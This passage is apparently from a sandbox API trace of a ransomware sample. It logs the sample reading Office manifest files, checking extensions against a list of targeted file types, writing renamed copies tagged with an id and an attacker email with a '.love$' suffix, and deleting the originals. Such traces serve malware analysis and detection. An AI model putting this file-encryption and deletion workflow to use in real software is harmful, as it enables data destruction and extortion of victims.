office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0115.388] GetLastError () returned 0x0 [0115.388] ReadFile (in: hFile=0x374, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0115.389] WriteFile (in: hFile=0x394, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0115.390] ReadFile (in: hFile=0x374, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0115.390] WriteFile (in: hFile=0x394, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x13e, lpOverlapped=0x0) returned 1 [0115.391] SetEndOfFile (hFile=0x394) returned 1 [0115.391] CloseHandle (hObject=0x394) returned 1 [0115.392] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0115.392] SetEndOfFile (hFile=0x374) returned 1 [0115.393] CloseHandle (hObject=0x374) returned 1 [0115.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0115.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 1 [0115.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0115.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0115.394] lstrlenW (lpString=".doc") returned 4 [0115.394] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.394] lstrlenW (lpString=".docx") returned 5 [0115.394] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0115.394] lstrlenW (lpString=".pdf") returned 4 [0115.394] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.394] lstrlenW (lpString=".xls") returned 4 [0115.394] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.394] lstrlenW (lpString=".xlsx") returned 5 [0115.394] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0115.394] lstrlenW (lpString=".ppt") returned 4 [0115.394] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0115.394] lstrlenW (lpString=".zip") returned 4 [0115.394] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.394] lstrlenW (lpString=".rar") returned 4 [0115.394] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.394] lstrlenW (lpString=".bz2") returned 4 [0115.394] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.394] lstrlenW (lpString=".7z") returned 3 [0115.394] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0115.394] lstrlenW (lpString=".dbf") returned 4 [0115.394] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0115.394] lstrlenW (lpString=".1cd") returned 4 [0115.394] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0115.394] lstrlenW (lpString=".jpg") returned 4 [0115.395] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0115.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0115.395] lstrlenW (lpString=".doc") returned 4 [0115.395] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.395] lstrlenW (lpString=".docx") returned 5 [0115.395] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0115.395] lstrlenW (lpString=".pdf") returned 4 [0115.395] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.395] lstrlenW (lpString=".xls") returned 4 [0115.395] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.395] lstrlenW (lpString=".xlsx") returned 5 [0115.395] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0115.395] lstrlenW (lpString=".ppt") returned 4 [0115.395] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0115.395] lstrlenW (lpString=".zip") returned 4 [0115.395] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.395] lstrlenW (lpString=".rar") returned 4 [0115.395] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.395] lstrlenW (lpString=".bz2") returned 4 [0115.395] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.395] lstrlenW (lpString=".7z") returned 3 [0115.395] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0115.395] lstrlenW (lpString=".dbf") returned 4 [0115.395] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0115.395] lstrlenW (lpString=".1cd") returned 4 [0115.395] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0115.395] lstrlenW (lpString=".jpg") returned 4 [0115.395] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.396] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0115.396] lstrlenW (lpString="AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 53 [0115.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0115.396] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=1450) returned 1 [0115.396] CloseHandle (hObject=0x374) returned 1 [0115.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0115.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0115.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0115.396] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0115.397] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0115.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0115.397] GetLastError () returned 0x0 [0115.397] ReadFile (in: hFile=0x374, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x5aa, lpOverlapped=0x0) returned 1 [0115.399] WriteFile (in: hFile=0x394, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x5b0, lpOverlapped=0x0) returned 1 [0115.400] ReadFile (in: hFile=0x374, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0115.400] WriteFile (in: hFile=0x394, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x13e, lpOverlapped=0x0) returned 1 [0115.400] SetEndOfFile (hFile=0x394) returned 1 [0115.401] CloseHandle (hObject=0x394) returned 1 [0115.404] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0115.404] SetEndOfFile (hFile=0x374) returned 1 [0115.405] CloseHandle (hObject=0x374) returned 1 [0115.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0115.406] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 1 [0115.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0115.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0115.406] lstrlenW (lpString=".doc") returned 4 [0115.406] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.406] lstrlenW (lpString=".docx") returned 5 [0115.406] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0115.406] lstrlenW (lpString=".pdf") returned 4 [0115.406] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.406] lstrlenW (lpString=".xls") returned 4 [0115.406] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.406] lstrlenW (lpString=".xlsx") returned 5 [0115.406] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0115.406] lstrlenW (lpString=".ppt") returned 4 [0115.406] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0115.406] lstrlenW (lpString=".zip") returned 4 [0115.406] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.406] lstrlenW (lpString=".rar") returned 4 [0115.406] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.406] lstrlenW (lpString=".bz2") returned 4 [0115.406] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.406] lstrlenW (lpString=".7z") returned 3 [0115.406] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0115.406] lstrlenW (lpString=".dbf") returned 4 [0115.407] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0115.407] lstrlenW (lpString=".1cd") returned 4 [0115.407] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0115.407] lstrlenW (lpString=".jpg") returned 4 [0115.407] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0115.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0115.407] lstrlenW (lpString=".doc") returned 4 [0115.407] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.407] lstrlenW (lpString=".docx") returned 5 [0115.407] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0115.407] lstrlenW (lpString=".pdf") returned 4 [0115.407] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.407] lstrlenW (lpString=".xls") returned 4 [0115.407] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.407] lstrlenW (lpString=".xlsx") returned 5 [0115.407] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0115.407] lstrlenW (lpString=".ppt") returned 4 [0115.407] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0115.407] lstrlenW (lpString=".zip") returned 4 [0115.407] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.407] lstrlenW (lpString=".rar") returned 4 [0115.407] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.407] lstrlenW (lpString=".bz2") returned 4 [0115.407] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.407] lstrlenW (lpString=".7z") returned 3 [0115.407] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0115.407] lstrlenW (lpString=".dbf") returned 4 [0115.407] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0115.408] lstrlenW (lpString=".1cd") returned 4 [0115.408] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0115.408] lstrlenW (lpString=".jpg") returned 4 [0115.408] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.408] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0115.408] lstrlenW (lpString="AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 53 [0115.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0115.408] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=1261) returned 1 [0115.408] CloseHandle (hObject=0x374) returned 1 [0115.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0115.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0115.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0115.409] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0115.409] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0115.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0115.409] GetLastError () returned 0x0 [0115.409] ReadFile (in: hFile=0x374, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0116.252] WriteFile (in: hFile=0x394, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0116.254] ReadFile (in: hFile=0x374, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0116.254] WriteFile (in: hFile=0x394, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x13e, lpOverlapped=0x0) returned 1 [0116.254] SetEndOfFile (hFile=0x394) returned 1 [0116.254] CloseHandle (hObject=0x394) returned 1 [0116.256] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.256] SetEndOfFile (hFile=0x374) returned 1 [0116.497] CloseHandle (hObject=0x374) returned 1 [0116.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0116.500] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 1 [0116.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0116.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0116.501] lstrlenW (lpString=".doc") returned 4 [0116.501] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.501] lstrlenW (lpString=".docx") returned 5 [0116.502] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0116.502] lstrlenW (lpString=".pdf") returned 4 [0116.502] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.502] lstrlenW (lpString=".xls") returned 4 [0116.502] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.502] lstrlenW (lpString=".xlsx") returned 5 [0116.502] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0116.502] lstrlenW (lpString=".ppt") returned 4 [0116.502] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0116.502] lstrlenW (lpString=".zip") returned 4 [0116.502] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.502] lstrlenW (lpString=".rar") returned 4 [0116.502] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.502] lstrlenW (lpString=".bz2") returned 4 [0116.502] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.502] lstrlenW (lpString=".7z") returned 3 [0116.502] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0116.502] lstrlenW (lpString=".dbf") returned 4 [0116.502] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0116.502] lstrlenW (lpString=".1cd") returned 4 [0116.502] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0116.502] lstrlenW (lpString=".jpg") returned 4 [0116.502] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0116.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0116.503] lstrlenW (lpString=".doc") returned 4 [0116.503] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.503] lstrlenW (lpString=".docx") returned 5 [0116.503] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0116.503] lstrlenW (lpString=".pdf") returned 4 [0116.503] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.503] lstrlenW (lpString=".xls") returned 4 [0116.503] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.503] lstrlenW (lpString=".xlsx") returned 5 [0116.503] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0116.503] lstrlenW (lpString=".ppt") returned 4 [0116.503] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0116.503] lstrlenW (lpString=".zip") returned 4 [0116.503] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.503] lstrlenW (lpString=".rar") returned 4 [0116.503] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.503] lstrlenW (lpString=".bz2") returned 4 [0116.503] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.503] lstrlenW (lpString=".7z") returned 3 [0116.503] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0116.503] lstrlenW (lpString=".dbf") returned 4 [0116.503] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0116.503] lstrlenW (lpString=".1cd") returned 4 [0116.504] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0116.504] lstrlenW (lpString=".jpg") returned 4 [0116.504] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.504] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0116.504] lstrlenW (lpString="AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 53 [0116.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0116.505] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=527958) returned 1 [0116.505] CloseHandle (hObject=0x374) returned 1 [0116.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 0x220 [0116.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 